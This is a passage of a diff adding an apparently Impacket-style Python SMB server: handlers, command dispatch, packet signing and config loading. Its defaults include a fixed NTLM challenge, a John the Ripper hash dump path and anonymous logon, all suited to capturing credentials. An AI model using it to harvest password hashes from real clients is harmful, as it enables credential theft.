+                    ioctlResponse = sock.recv(ioctlRequest['MaxOutputResponse'])
+            except Exception as e:
+                smbServer.log('fsctlPipeTransceive: %s ' % e, logging.ERROR)
+                errorCode = STATUS_ACCESS_DENIED
+        else:
+            errorCode = STATUS_INVALID_DEVICE_REQUEST
+
+        smbServer.setConnectionData(connId, connData)
+        return ioctlResponse, errorCode
+
+    @staticmethod
+    def fsctlValidateNegotiateInfo(connId, smbServer, ioctlRequest):
+        connData = smbServer.getConnectionData(connId)
+
+        errorCode = STATUS_SUCCESS
+
+        validateNegotiateInfo = smb2.VALIDATE_NEGOTIATE_INFO(ioctlRequest['Buffer'])
+        validateNegotiateInfoResponse = smb2.VALIDATE_NEGOTIATE_INFO_RESPONSE()
+        validateNegotiateInfoResponse['Capabilities'] = 0
+        validateNegotiateInfoResponse['Guid'] = b'A' * 16
+        validateNegotiateInfoResponse['SecurityMode'] = 1
+        validateNegotiateInfoResponse['Dialect'] = smb2.SMB2_DIALECT_002
+
+        smbServer.setConnectionData(connId, connData)
+        return validateNegotiateInfoResponse.getData(), errorCode
+
+
+class SMBSERVERHandler(socketserver.BaseRequestHandler):
+    def __init__(self, request, client_address, server, select_poll=False):
+        self.__SMB = server
+        # In case of AF_INET6 the client_address contains 4 items, ignore the last 2
+        self.__ip, self.__port = client_address[:2]
+        self.__request = request
+        self.__connId = threading.current_thread().name
+        self.__timeOut = 60 * 5
+        self.__select_poll = select_poll
+        # self.__connId = os.getpid()
+        socketserver.BaseRequestHandler.__init__(self, request, client_address, server)
+
+    def handle(self):
+        self.__SMB.log("Incoming connection (%s,%d)" % (self.__ip, self.__port))
+        self.__SMB.addConnection(self.__connId, self.__ip, self.__port)
+        while True:
+            try:
+                # First of all let's get the NETBIOS packet
+                session = nmb.NetBIOSTCPSession(self.__SMB.getServerName(), 'HOST', self.__ip, sess_port=self.__port,
+                                                sock=self.__request, select_poll=self.__select_poll)
+                try:
+                    p = session.recv_packet(self.__timeOut)
+                except nmb.NetBIOSTimeout:
+                    raise
+                except nmb.NetBIOSError:
+                    break
+
+                if p.get_type() == nmb.NETBIOS_SESSION_REQUEST:
+                    # Someone is requesting a session, we're gonna accept them all :)
+                    _, rn, my = p.get_trailer().split(b' ')
+                    remote_name = nmb.decode_name(b'\x20' + rn)
+                    myname = nmb.decode_name(b'\x20' + my)
+                    self.__SMB.log(
+                        "NetBIOS Session request (%s,%s,%s)" % (self.__ip, remote_name[1].strip(), myname[1]))
+                    r = nmb.NetBIOSSessionPacket()
+                    r.set_type(nmb.NETBIOS_SESSION_POSITIVE_RESPONSE)
+                    r.set_trailer(p.get_trailer())
+                    self.__request.send(r.rawData())
+                else:
+                    resp = self.__SMB.processRequest(self.__connId, p.get_trailer())
+                    # Send all the packets received. Except for big transactions this should be
+                    # a single packet
+                    for i in resp:
+                        if hasattr(i, 'getData'):
+                            session.send_packet(i.getData())
+                        else:
+                            session.send_packet(i)
+            except Exception as e:
+                self.__SMB.log("Handle: %s" % e)
+                # import traceback
+                # traceback.print_exc()
+                break
+
+    def finish(self):
+        # Thread/process is dying, we should tell the main SMB thread to remove all this thread data
+        self.__SMB.log("Closing down connection (%s,%d)" % (self.__ip, self.__port))
+        self.__SMB.removeConnection(self.__connId)
+        return socketserver.BaseRequestHandler.finish(self)
+
+
+class SMBSERVER(socketserver.ThreadingMixIn, socketserver.TCPServer):
+    # class SMBSERVER(socketserver.ForkingMixIn, socketserver.TCPServer):
+    def __init__(self, server_address, handler_class=SMBSERVERHandler, config_parser=None):
+        socketserver.TCPServer.allow_reuse_address = True
+        socketserver.TCPServer.__init__(self, server_address, handler_class)
+
+        # Server name and OS to be presented whenever is necessary
+        self.__serverName = ''
+        self.__serverOS = ''
+        self.__serverDomain = ''
+        self.__challenge = ''
+        self.__log = None
+
+        # Our ConfigParser data
+        self.__serverConfig = config_parser
+
+        # Our credentials to be used during the server's lifetime
+        self.__credentials = {}
+
+        # Our log file
+        self.__logFile = ''
+
+        # Registered Named Pipes, format is PipeName,Socket
+        self.__registeredNamedPipes = {}
+
+        # JTR dump path
+        self.__jtr_dump_path = ''
+
+        # SMB2 Support flag = default not active
+        self.__SMB2Support = False
+
+        # Allow anonymous logon
+        self.__anonymousLogon = True
+
+        self.auth_callback = None
+
+        # Our list of commands we will answer, by default the NOT IMPLEMENTED one
+        self.__smbCommandsHandler = SMBCommands()
+        self.__smbTrans2Handler = TRANS2Commands()
+        self.__smbTransHandler = TRANSCommands()
+        self.__smbNTTransHandler = NTTRANSCommands()
+        self.__smb2CommandsHandler = SMB2Commands()
+        self.__IoctlHandler = Ioctls()
+
+        self.__smbNTTransCommands = {
+            # NT IOCTL, can't find doc for this
+            0xff: self.__smbNTTransHandler.default
+        }
+
+        self.__smbTransCommands = {
+            '\\PIPE\\LANMAN': self.__smbTransHandler.lanMan,
+            smb.SMB.TRANS_TRANSACT_NMPIPE: self.__smbTransHandler.transactNamedPipe,
+        }
+        self.__smbTrans2Commands = {
+            smb.SMB.TRANS2_FIND_FIRST2: self.__smbTrans2Handler.findFirst2,
+            smb.SMB.TRANS2_FIND_NEXT2: self.__smbTrans2Handler.findNext2,
+            smb.SMB.TRANS2_QUERY_FS_INFORMATION: self.__smbTrans2Handler.queryFsInformation,
+            smb.SMB.TRANS2_QUERY_PATH_INFORMATION: self.__smbTrans2Handler.queryPathInformation,
+            smb.SMB.TRANS2_QUERY_FILE_INFORMATION: self.__smbTrans2Handler.queryFileInformation,
+            smb.SMB.TRANS2_SET_FILE_INFORMATION: self.__smbTrans2Handler.setFileInformation,
+            smb.SMB.TRANS2_SET_PATH_INFORMATION: self.__smbTrans2Handler.setPathInformation
+        }
+
+        self.__smbCommands = {
+            smb.SMB.SMB_COM_FLUSH: self.__smbCommandsHandler.smbComFlush,
+            smb.SMB.SMB_COM_CREATE_DIRECTORY: self.__smbCommandsHandler.smbComCreateDirectory,
+            smb.SMB.SMB_COM_DELETE_DIRECTORY: self.__smbCommandsHandler.smbComDeleteDirectory,
+            smb.SMB.SMB_COM_RENAME: self.__smbCommandsHandler.smbComRename,
+            smb.SMB.SMB_COM_DELETE: self.__smbCommandsHandler.smbComDelete,
+            smb.SMB.SMB_COM_NEGOTIATE: self.__smbCommandsHandler.smbComNegotiate,
+            smb.SMB.SMB_COM_SESSION_SETUP_ANDX: self.__smbCommandsHandler.smbComSessionSetupAndX,
+            smb.SMB.SMB_COM_LOGOFF_ANDX: self.__smbCommandsHandler.smbComLogOffAndX,
+            smb.SMB.SMB_COM_TREE_CONNECT_ANDX: self.__smbCommandsHandler.smbComTreeConnectAndX,
+            smb.SMB.SMB_COM_TREE_DISCONNECT: self.__smbCommandsHandler.smbComTreeDisconnect,
+            smb.SMB.SMB_COM_ECHO: self.__smbCommandsHandler.smbComEcho,
+            smb.SMB.SMB_COM_QUERY_INFORMATION: self.__smbCommandsHandler.smbQueryInformation,
+            smb.SMB.SMB_COM_TRANSACTION2: self.__smbCommandsHandler.smbTransaction2,
+            smb.SMB.SMB_COM_TRANSACTION: self.__smbCommandsHandler.smbTransaction,
+            # Not needed for now
+            smb.SMB.SMB_COM_NT_TRANSACT: self.__smbCommandsHandler.smbNTTransact,
+            smb.SMB.SMB_COM_QUERY_INFORMATION_DISK: self.__smbCommandsHandler.smbQueryInformationDisk,
+            smb.SMB.SMB_COM_OPEN_ANDX: self.__smbCommandsHandler.smbComOpenAndX,
+            smb.SMB.SMB_COM_QUERY_INFORMATION2: self.__smbCommandsHandler.smbComQueryInformation2,
+            smb.SMB.SMB_COM_READ_ANDX: self.__smbCommandsHandler.smbComReadAndX,
+            smb.SMB.SMB_COM_READ: self.__smbCommandsHandler.smbComRead,
+            smb.SMB.SMB_COM_WRITE_ANDX: self.__smbCommandsHandler.smbComWriteAndX,
+            smb.SMB.SMB_COM_WRITE: self.__smbCommandsHandler.smbComWrite,
+            smb.SMB.SMB_COM_CLOSE: self.__smbCommandsHandler.smbComClose,
+            smb.SMB.SMB_COM_LOCKING_ANDX: self.__smbCommandsHandler.smbComLockingAndX,
+            smb.SMB.SMB_COM_NT_CREATE_ANDX: self.__smbCommandsHandler.smbComNtCreateAndX,
+            0xFF: self.__smbCommandsHandler.default
+        }
+
+        self.__smb2Ioctls = {
+            smb2.FSCTL_DFS_GET_REFERRALS: self.__IoctlHandler.fsctlDfsGetReferrals,
+            # smb2.FSCTL_PIPE_PEEK:                    self.__IoctlHandler.fsctlPipePeek,
+            # smb2.FSCTL_PIPE_WAIT:                    self.__IoctlHandler.fsctlPipeWait,
+            smb2.FSCTL_PIPE_TRANSCEIVE: self.__IoctlHandler.fsctlPipeTransceive,
+            # smb2.FSCTL_SRV_COPYCHUNK:                self.__IoctlHandler.fsctlSrvCopyChunk,
+            # smb2.FSCTL_SRV_ENUMERATE_SNAPSHOTS:      self.__IoctlHandler.fsctlSrvEnumerateSnapshots,
+            # smb2.FSCTL_SRV_REQUEST_RESUME_KEY:       self.__IoctlHandler.fsctlSrvRequestResumeKey,
+            # smb2.FSCTL_SRV_READ_HASH:                self.__IoctlHandler.fsctlSrvReadHash,
+            # smb2.FSCTL_SRV_COPYCHUNK_WRITE:          self.__IoctlHandler.fsctlSrvCopyChunkWrite,
+            # smb2.FSCTL_LMR_REQUEST_RESILIENCY:       self.__IoctlHandler.fsctlLmrRequestResiliency,
+            # smb2.FSCTL_QUERY_NETWORK_INTERFACE_INFO: self.__IoctlHandler.fsctlQueryNetworkInterfaceInfo,
+            # smb2.FSCTL_SET_REPARSE_POINT:            self.__IoctlHandler.fsctlSetReparsePoint,
+            # smb2.FSCTL_DFS_GET_REFERRALS_EX:         self.__IoctlHandler.fsctlDfsGetReferralsEx,
+            # smb2.FSCTL_FILE_LEVEL_TRIM:              self.__IoctlHandler.fsctlFileLevelTrim,
+            smb2.FSCTL_VALIDATE_NEGOTIATE_INFO: self.__IoctlHandler.fsctlValidateNegotiateInfo,
+        }
+
+        self.__smb2Commands = {
+            smb2.SMB2_NEGOTIATE: self.__smb2CommandsHandler.smb2Negotiate,
+            smb2.SMB2_SESSION_SETUP: self.__smb2CommandsHandler.smb2SessionSetup,
+            smb2.SMB2_LOGOFF: self.__smb2CommandsHandler.smb2Logoff,
+            smb2.SMB2_TREE_CONNECT: self.__smb2CommandsHandler.smb2TreeConnect,
+            smb2.SMB2_TREE_DISCONNECT: self.__smb2CommandsHandler.smb2TreeDisconnect,
+            smb2.SMB2_CREATE: self.__smb2CommandsHandler.smb2Create,
+            smb2.SMB2_CLOSE: self.__smb2CommandsHandler.smb2Close,
+            smb2.SMB2_FLUSH: self.__smb2CommandsHandler.smb2Flush,
+            smb2.SMB2_READ: self.__smb2CommandsHandler.smb2Read,
+            smb2.SMB2_WRITE: self.__smb2CommandsHandler.smb2Write,
+            smb2.SMB2_LOCK: self.__smb2CommandsHandler.smb2Lock,
+            smb2.SMB2_IOCTL: self.__smb2CommandsHandler.smb2Ioctl,
+            smb2.SMB2_CANCEL: self.__smb2CommandsHandler.smb2Cancel,
+            smb2.SMB2_ECHO: self.__smb2CommandsHandler.smb2Echo,
+            smb2.SMB2_QUERY_DIRECTORY: self.__smb2CommandsHandler.smb2QueryDirectory,
+            smb2.SMB2_CHANGE_NOTIFY: self.__smb2CommandsHandler.smb2ChangeNotify,
+            smb2.SMB2_QUERY_INFO: self.__smb2CommandsHandler.smb2QueryInfo,
+            smb2.SMB2_SET_INFO: self.__smb2CommandsHandler.smb2SetInfo,
+            # smb2.SMB2_OPLOCK_BREAK:    self.__smb2CommandsHandler.smb2SessionSetup,
+            0xFF: self.__smb2CommandsHandler.default
+        }
+
+        # List of active connections
+        self.__activeConnections = {}
+
+    def getIoctls(self):
+        return self.__smb2Ioctls
+
+    def getCredentials(self):
+        return self.__credentials
+
+    def removeConnection(self, name):
+        try:
+            del (self.__activeConnections[name])
+        except:
+            pass
+        self.log("Remaining connections %s" % list(self.__activeConnections.keys()))
+
+    def addConnection(self, name, ip, port):
+        self.__activeConnections[name] = {}
+        # Let's init with some know stuff we will need to have
+        # TODO: Document what's in there
+        # print "Current Connections", self.__activeConnections.keys()
+        self.__activeConnections[name]['PacketNum'] = 0
+        self.__activeConnections[name]['ClientIP'] = ip
+        self.__activeConnections[name]['ClientPort'] = port
+        self.__activeConnections[name]['Uid'] = 0
+        self.__activeConnections[name]['ConnectedShares'] = {}
+        self.__activeConnections[name]['OpenedFiles'] = {}
+        # SID results for findfirst2
+        self.__activeConnections[name]['SIDs'] = {}
+        self.__activeConnections[name]['LastRequest'] = {}
+        self.__activeConnections[name]['SignatureEnabled'] = False
+        self.__activeConnections[name]['SigningChallengeResponse'] = ''
+        self.__activeConnections[name]['SigningSessionKey'] = b''
+        self.__activeConnections[name]['Authenticated'] = False
+
+    def getActiveConnections(self):
+        return self.__activeConnections
+
+    def setConnectionData(self, connId, data):
+        self.__activeConnections[connId] = data
+        # print "setConnectionData"
+        # print self.__activeConnections
+
+    def getConnectionData(self, connId, checkStatus=True):
+        conn = self.__activeConnections[connId]
+        if checkStatus is True:
+            if ('Authenticated' in conn) is not True:
+                # Can't keep going further
+                raise Exception("User not Authenticated!")
+        return conn
+
+    def getRegisteredNamedPipes(self):
+        return self.__registeredNamedPipes
+
+    def registerNamedPipe(self, pipeName, address):
+        self.__registeredNamedPipes[str(pipeName)] = address
+        return True
+
+    def unregisterNamedPipe(self, pipeName):
+        if pipeName in self.__registeredNamedPipes:
+            del (self.__registeredNamedPipes[str(pipeName)])
+            return True
+        return False
+
+    def unregisterTransaction(self, transCommand):
+        if transCommand in self.__smbTransCommands:
+            del (self.__smbTransCommands[transCommand])
+
+    def hookTransaction(self, transCommand, callback):
+        # If you call this function, callback will replace
+        # the current Transaction sub command.
+        # (don't get confused with the Transaction smbCommand)
+        # If the transaction sub command doesn't not exist, it is added
+        # If the transaction sub command exists, it returns the original function         # replaced
+        #
+        # callback MUST be declared as:
+        # callback(connId, smbServer, recvPacket, parameters, data, maxDataCount=0)
+        #
+        # WHERE:
+        #
+        # connId      : the connection Id, used to grab/update information about
+        #               the current connection
+        # smbServer   : the SMBServer instance available for you to ask
+        #               configuration data
+        # recvPacket  : the full SMBPacket that triggered this command
+        # parameters  : the transaction parameters
+        # data        : the transaction data
+        # maxDataCount: the max amount of data that can be transferred agreed
+        #               with the client
+        #
+        # and MUST return:
+        # respSetup, respParameters, respData, errorCode
+        #
+        # WHERE:
+        #
+        # respSetup: the setup response of the transaction
+        # respParameters: the parameters response of the transaction
+        # respData: the data response of the transaction
+        # errorCode: the NT error code
+
+        if transCommand in self.__smbTransCommands:
+            originalCommand = self.__smbTransCommands[transCommand]
+        else:
+            originalCommand = None
+
+        self.__smbTransCommands[transCommand] = callback
+        return originalCommand
+
+    def unregisterTransaction2(self, transCommand):
+        if transCommand in self.__smbTrans2Commands:
+            del (self.__smbTrans2Commands[transCommand])
+
+    def hookTransaction2(self, transCommand, callback):
+        # Here we should add to __smbTrans2Commands
+        # Same description as Transaction
+        if transCommand in self.__smbTrans2Commands:
+            originalCommand = self.__smbTrans2Commands[transCommand]
+        else:
+            originalCommand = None
+
+        self.__smbTrans2Commands[transCommand] = callback
+        return originalCommand
+
+    def unregisterNTTransaction(self, transCommand):
+        if transCommand in self.__smbNTTransCommands:
+            del (self.__smbNTTransCommands[transCommand])
+
+    def hookNTTransaction(self, transCommand, callback):
+        # Here we should add to __smbNTTransCommands
+        # Same description as Transaction
+        if transCommand in self.__smbNTTransCommands:
+            originalCommand = self.__smbNTTransCommands[transCommand]
+        else:
+            originalCommand = None
+
+        self.__smbNTTransCommands[transCommand] = callback
+        return originalCommand
+
+    def unregisterSmbCommand(self, smbCommand):
+        if smbCommand in self.__smbCommands:
+            del (self.__smbCommands[smbCommand])
+
+    def hookSmbCommand(self, smbCommand, callback):
+        # Here we should add to self.__smbCommands
+        # If you call this function, callback will replace
+        # the current smbCommand.
+        # If smbCommand doesn't not exist, it is added
+        # If SMB command exists, it returns the original function replaced
+        #
+        # callback MUST be declared as:
+        # callback(connId, smbServer, SMBCommand, recvPacket)
+        #
+        # WHERE:
+        #
+        # connId    : the connection Id, used to grab/update information about
+        #             the current connection
+        # smbServer : the SMBServer instance available for you to ask
+        #             configuration data
+        # SMBCommand: the SMBCommand itself, with its data and parameters.
+        #             Check smb.py:SMBCommand() for a reference
+        # recvPacket: the full SMBPacket that triggered this command
+        #
+        # and MUST return:
+        # <list of respSMBCommands>, <list of packets>, errorCode
+        # <list of packets> has higher preference over commands, in case you
+        # want to change the whole packet
+        # errorCode: the NT error code
+        #
+        # For SMB_COM_TRANSACTION2, SMB_COM_TRANSACTION and SMB_COM_NT_TRANSACT
+        # the callback function is slightly different:
+        #
+        # callback(connId, smbServer, SMBCommand, recvPacket, transCommands)
+        #
+        # WHERE:
+        #
+        # transCommands: a list of transaction subcommands already registered
+        #
+
+        if smbCommand in self.__smbCommands:
+            originalCommand = self.__smbCommands[smbCommand]
+        else:
+            originalCommand = None
+
+        self.__smbCommands[smbCommand] = callback
+        return originalCommand
+
+    def unregisterSmb2Command(self, smb2Command):
+        if smb2Command in self.__smb2Commands:
+            del (self.__smb2Commands[smb2Command])
+
+    def hookSmb2Command(self, smb2Command, callback):
+        if smb2Command in self.__smb2Commands:
+            originalCommand = self.__smb2Commands[smb2Command]
+        else:
+            originalCommand = None
+
+        self.__smb2Commands[smb2Command] = callback
+        return originalCommand
+
+    def log(self, msg, level=logging.INFO):
+        self.__log.log(level, msg)
+
+    def getServerName(self):
+        return self.__serverName
+
+    def getServerOS(self):
+        return self.__serverOS
+
+    def getServerDomain(self):
+        return self.__serverDomain
+
+    def getSMBChallenge(self):
+        return self.__challenge
+
+    def getServerConfig(self):
+        return self.__serverConfig
+
+    def setServerConfig(self, config):
+        self.__serverConfig = config
+
+    def getJTRdumpPath(self):
+        return self.__jtr_dump_path
+
+    def getAuthCallback(self):
+        return self.auth_callback
+
+    def setAuthCallback(self, callback):
+        self.auth_callback = callback
+
+    def verify_request(self, request, client_address):
+        # TODO: Control here the max amount of processes we want to launch
+        # returning False, closes the connection
+        return True
+
+    def signSMBv1(self, connData, packet, signingSessionKey, signingChallengeResponse):
+        # This logic MUST be applied for messages sent in response to any of the higher-layer actions and in
+        # compliance with the message sequencing rules.
+        #  * The client or server that sends the message MUST provide the 32-bit sequence number for this
+        #    message, as specified in sections 3.2.4.1 and 3.3.4.1.
+        #  * The SMB_FLAGS2_SMB_SECURITY_SIGNATURE flag in the header MUST be set.
+        #  * To generate the signature, a 32-bit sequence number is copied into the
+        #    least significant 32 bits of the SecuritySignature field and the remaining
+        #    4 bytes are set to 0x00.
+        #  * The MD5 algorithm, as specified in [RFC1321], MUST be used to generate a hash of the SMB
+        #    message from the start of the SMB Header, which is defined as follows.
+        #    CALL MD5Init( md5context )
+        #    CALL MD5Update( md5context, Connection.SigningSessionKey )
+        #    CALL MD5Update( md5context, Connection.SigningChallengeResponse )
+        #    CALL MD5Update( md5context, SMB message )
+        #    CALL MD5Final( digest, md5context )
+        #    SET signature TO the first 8 bytes of the digest
+        # The resulting 8-byte signature MUST be copied into the SecuritySignature field of the SMB Header,
+        # after which the message can be transmitted.
+
+        # print "seq(%d) signingSessionKey %r, signingChallengeResponse %r" % (connData['SignSequenceNumber'], signingSessionKey, signingChallengeResponse)
+        packet['SecurityFeatures'] = struct.pack('<q', connData['SignSequenceNumber'])
+        # Sign with the sequence
+        m = hashlib.md5()
+        m.update(signingSessionKey)
+        m.update(signingChallengeResponse)
+        if hasattr(packet, 'getData'):
+            m.update(packet.getData())
+        else:
+            m.update(packet)
+        # Replace sequence with acual hash
+        packet['SecurityFeatures'] = m.digest()[:8]
+        connData['SignSequenceNumber'] += 2
+
+    def signSMBv2(self, packet, signingSessionKey):
+        packet['Signature'] = b'\x00' * 16
+        packet['Flags'] |= smb2.SMB2_FLAGS_SIGNED
+        signature = hmac.new(signingSessionKey, packet.getData(), hashlib.sha256).digest()
+        packet['Signature'] = signature[:16]
+        # print "%s" % packet['Signature'].encode('hex')
+
+    def processRequest(self, connId, data):
+
+        # TODO: Process batched commands.
+        isSMB2 = False
+        SMBCommand = None
+        try:
+            packet = smb.NewSMBPacket(data=data)
+            SMBCommand = smb.SMBCommand(packet['Data'][0])
+        except:
+            # Maybe a SMB2 packet?
+            packet = smb2.SMB2Packet(data=data)
+            connData = self.getConnectionData(connId, False)
+            self.signSMBv2(packet, connData['SigningSessionKey'])
+            isSMB2 = True
+
+        connData = self.getConnectionData(connId, False)
+
+        # We might have compound requests
+        compoundedPacketsResponse = []
+        compoundedPackets = []
+        try:
+            # Search out list of implemented commands
+            # We provide them with:
+            # connId      : representing the data for this specific connection
+            # self        : the SMBSERVER if they want to ask data to it
+            # SMBCommand  : the SMBCommand they are expecting to process
+            # packet      : the received packet itself, in case they need more data than the actual command
+            # Only for Transactions
+            # transCommand: a list of transaction subcommands
+            # We expect to get:
+            # respCommands: a list of answers for the commands processed
+            # respPacket  : if the commands chose to directly craft packet/s, we use this and not the previous
+            #               this MUST be a list
+            # errorCode   : self explanatory
+            if isSMB2 is False:
+                # Is the client authenticated already?
+                if connData['Authenticated'] is False and packet['Command'] not in (
+                smb.SMB.SMB_COM_NEGOTIATE, smb.SMB.SMB_COM_SESSION_SETUP_ANDX):
+                    # Nope.. in that case he should only ask for a few commands, if not throw him out.
+                    errorCode = STATUS_ACCESS_DENIED
+                    respPackets = None
+                    respCommands = [smb.SMBCommand(packet['Command'])]
+                else:
+                    if packet['Command'] == smb.SMB.SMB_COM_TRANSACTION2:
+                        respCommands, respPackets, errorCode = self.__smbCommands[packet['Command']](
+                            connId,
+                            self,
+                            SMBCommand,
+                            packet,
+                            self.__smbTrans2Commands)
+                    elif packet['Command'] == smb.SMB.SMB_COM_NT_TRANSACT:
+                        respCommands, respPackets, errorCode = self.__smbCommands[packet['Command']](
+                            connId,
+                            self,
+                            SMBCommand,
+                            packet,
+                            self.__smbNTTransCommands)
+                    elif packet['Command'] == smb.SMB.SMB_COM_TRANSACTION:
+                        respCommands, respPackets, errorCode = self.__smbCommands[packet['Command']](
+                            connId,
+                            self,
+                            SMBCommand,
+                            packet,
+                            self.__smbTransCommands)
+                    else:
+                        if packet['Command'] in self.__smbCommands:
+                            if self.__SMB2Support is True:
+                                if packet['Command'] == smb.SMB.SMB_COM_NEGOTIATE:
+                                    try:
+                                        respCommands, respPackets, errorCode = self.__smb2Commands[smb2.SMB2_NEGOTIATE](
+                                            connId, self, packet, True)
+                                        isSMB2 = True
+                                    except Exception as e:
+                                        import traceback
+                                        traceback.print_exc()
+                                        self.log('SMB2_NEGOTIATE: %s' % e, logging.ERROR)
+                                        # If something went wrong, let's fallback to SMB1
+                                        respCommands, respPackets, errorCode = self.__smbCommands[packet['Command']](
+                                            connId,
+                                            self,
+                                            SMBCommand,
+                                            packet)
+                                        # self.__SMB2Support = False
+                                        pass
+                                else:
+                                    respCommands, respPackets, errorCode = self.__smbCommands[packet['Command']](
+                                        connId,
+                                        self,
+                                        SMBCommand,
+                                        packet)
+                            else:
+                                respCommands, respPackets, errorCode = self.__smbCommands[packet['Command']](
+                                    connId,
+                                    self,
+                                    SMBCommand,
+                                    packet)
+                        else:
+                            respCommands, respPackets, errorCode = self.__smbCommands[255](connId, self, SMBCommand,
+                                                                                           packet)
+
+                compoundedPacketsResponse.append((respCommands, respPackets, errorCode))
+                compoundedPackets.append(packet)
+
+            else:
+                # Is the client authenticated already?
+                if connData['Authenticated'] is False and packet['Command'] not in (
+                smb2.SMB2_NEGOTIATE, smb2.SMB2_SESSION_SETUP):
+                    # Nope.. in that case he should only ask for a few commands, if not throw him out.
+                    errorCode = STATUS_ACCESS_DENIED
+                    respPackets = None
+                    respCommands = ['']
+                    compoundedPacketsResponse.append((respCommands, respPackets, errorCode))
+                    compoundedPackets.append(packet)
+                else:
+                    done = False
+                    while not done:
+                        if packet['Command'] in self.__smb2Commands:
+                            if self.__SMB2Support is True:
+                                respCommands, respPackets, errorCode = self.__smb2Commands[packet['Command']](
+                                    connId,
+                                    self,
+                                    packet)
+                            else:
+                                respCommands, respPackets, errorCode = self.__smb2Commands[255](connId, self, packet)
+                        else:
+                            respCommands, respPackets, errorCode = self.__smb2Commands[255](connId, self, packet)
+                        # Let's store the result for this compounded packet
+                        compoundedPacketsResponse.append((respCommands, respPackets, errorCode))
+                        compoundedPackets.append(packet)
+                        if packet['NextCommand'] != 0:
+                            data = data[packet['NextCommand']:]
+                            packet = smb2.SMB2Packet(data=data)
+                        else:
+                            done = True
+
+        except Exception as e:
+            # import traceback
+            # traceback.print_exc()
+            # Something wen't wrong, defaulting to Bad user ID
+            self.log('processRequest (0x%x,%s)' % (packet['Command'], e), logging.ERROR)
+            raise
+
+        # We prepare the response packet to commands don't need to bother about that.
+        connData = self.getConnectionData(connId, False)
+
+        # Force reconnection loop.. This is just a test.. client will send me back credentials :)
+        # connData['PacketNum'] += 1
+        # if connData['PacketNum'] == 15:
+        #    connData['PacketNum'] = 0
+        #    # Something wen't wrong, defaulting to Bad user ID
+        #    self.log('Sending BAD USER ID!', logging.ERROR)
+        #    #raise
+        #    packet['Flags1'] |= smb.SMB.FLAGS1_REPLY
+        #    packet['Flags2'] = 0
+        #    errorCode = STATUS_SMB_BAD_UID
+        #    packet['ErrorCode']   = errorCode >> 16
+        #    packet['ErrorClass']  = errorCode & 0xff
+        #    return [packet]
+
+        self.setConnectionData(connId, connData)
+
+        packetsToSend = []
+        for packetNum in range(len(compoundedPacketsResponse)):
+            respCommands, respPackets, errorCode = compoundedPacketsResponse[packetNum]
+            packet = compoundedPackets[packetNum]
+            if respPackets is None:
+                for respCommand in respCommands:
+                    if isSMB2 is False:
+                        respPacket = smb.NewSMBPacket()
+                        respPacket['Flags1'] = smb.SMB.FLAGS1_REPLY
+
+                        # TODO this should come from a per session configuration
+                        respPacket[
+                            'Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | \
+                                        packet['Flags2'] & smb.SMB.FLAGS2_UNICODE
+                        # respPacket['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES
+                        # respPacket['Flags1'] = 0x98
+                        # respPacket['Flags2'] = 0xc807
+
+                        respPacket['Tid'] = packet['Tid']
+                        respPacket['Mid'] = packet['Mid']
+                        respPacket['Pid'] = packet['Pid']
+                        respPacket['Uid'] = connData['Uid']
+
+                        respPacket['ErrorCode'] = errorCode >> 16
+                        respPacket['_reserved'] = errorCode >> 8 & 0xff
+                        respPacket['ErrorClass'] = errorCode & 0xff
+                        respPacket.addCommand(respCommand)
+
+                        if connData['SignatureEnabled']:
+                            respPacket['Flags2'] |= smb.SMB.FLAGS2_SMB_SECURITY_SIGNATURE
+                            self.signSMBv1(connData, respPacket, connData['SigningSessionKey'],
+                                           connData['SigningChallengeResponse'])
+
+                        packetsToSend.append(respPacket)
+                    else:
+                        respPacket = smb2.SMB2Packet()
+                        respPacket['Flags'] = smb2.SMB2_FLAGS_SERVER_TO_REDIR
+                        if packetNum > 0:
+                            respPacket['Flags'] |= smb2.SMB2_FLAGS_RELATED_OPERATIONS
+                        respPacket['Status'] = errorCode
+                        respPacket['CreditRequestResponse'] = packet['CreditRequestResponse']
+                        respPacket['Command'] = packet['Command']
+                        respPacket['CreditCharge'] = packet['CreditCharge']
+                        # respPacket['CreditCharge'] = 0
+                        respPacket['Reserved'] = packet['Reserved']
+                        respPacket['SessionID'] = connData['Uid']
+                        respPacket['MessageID'] = packet['MessageID']
+                        respPacket['TreeID'] = packet['TreeID']
+                        if hasattr(respCommand, 'getData'):
+                            respPacket['Data'] = respCommand.getData()
+                        else:
+                            respPacket['Data'] = str(respCommand)
+
+                        if connData['SignatureEnabled']:
+                            self.signSMBv2(respPacket, connData['SigningSessionKey'])
+
+                        packetsToSend.append(respPacket)
+            else:
+                # The SMBCommand took care of building the packet
+                packetsToSend = respPackets
+
+        if isSMB2 is True:
+            # Let's build a compound answer
+            finalData = b''
+            i = 0
+            for i in range(len(packetsToSend) - 1):
+                packet = packetsToSend[i]
+                # Align to 8-bytes
+                padLen = (8 - (len(packet) % 8)) % 8
+                packet['NextCommand'] = len(packet) + padLen
+                if hasattr(packet, 'getData'):
+                    finalData += packet.getData() + padLen * b'\x00'
+                else:
+                    finalData += packet + padLen * b'\x00'
+
+            # Last one
+            if hasattr(packetsToSend[len(packetsToSend) - 1], 'getData'):
+                finalData += packetsToSend[len(packetsToSend) - 1].getData()
+            else:
+                finalData += packetsToSend[len(packetsToSend) - 1]
+            packetsToSend = [finalData]
+
+        # We clear the compound requests
+        connData['LastRequest'] = {}
+
+        return packetsToSend
+
+    def processConfigFile(self, configFile=None):
+        # TODO: Do a real config parser
+        if self.__serverConfig is None:
+            if configFile is None:
+                configFile = 'smb.conf'
+            self.__serverConfig = configparser.ConfigParser()
+            self.__serverConfig.read(configFile)
+
+        self.__serverName = self.__serverConfig.get('global', 'server_name')
+        self.__serverOS = self.__serverConfig.get('global', 'server_os')
+        self.__serverDomain = self.__serverConfig.get('global', 'server_domain')
+        self.__logFile = self.__serverConfig.get('global', 'log_file')
+        if self.__serverConfig.has_option('global', 'challenge'):
+            self.__challenge = unhexlify(self.__serverConfig.get('global', 'challenge'))
+        else:
+            self.__challenge = b'A' * 8
+
+        if self.__serverConfig.has_option("global", "jtr_dump_path"):
+            self.__jtr_dump_path = self.__serverConfig.get("global", "jtr_dump_path")
+
+        if self.__serverConfig.has_option("global", "SMB2Support"):
+            self.__SMB2Support = self.__serverConfig.getboolean("global", "SMB2Support")
+        else:
+            self.__SMB2Support = False
+
+
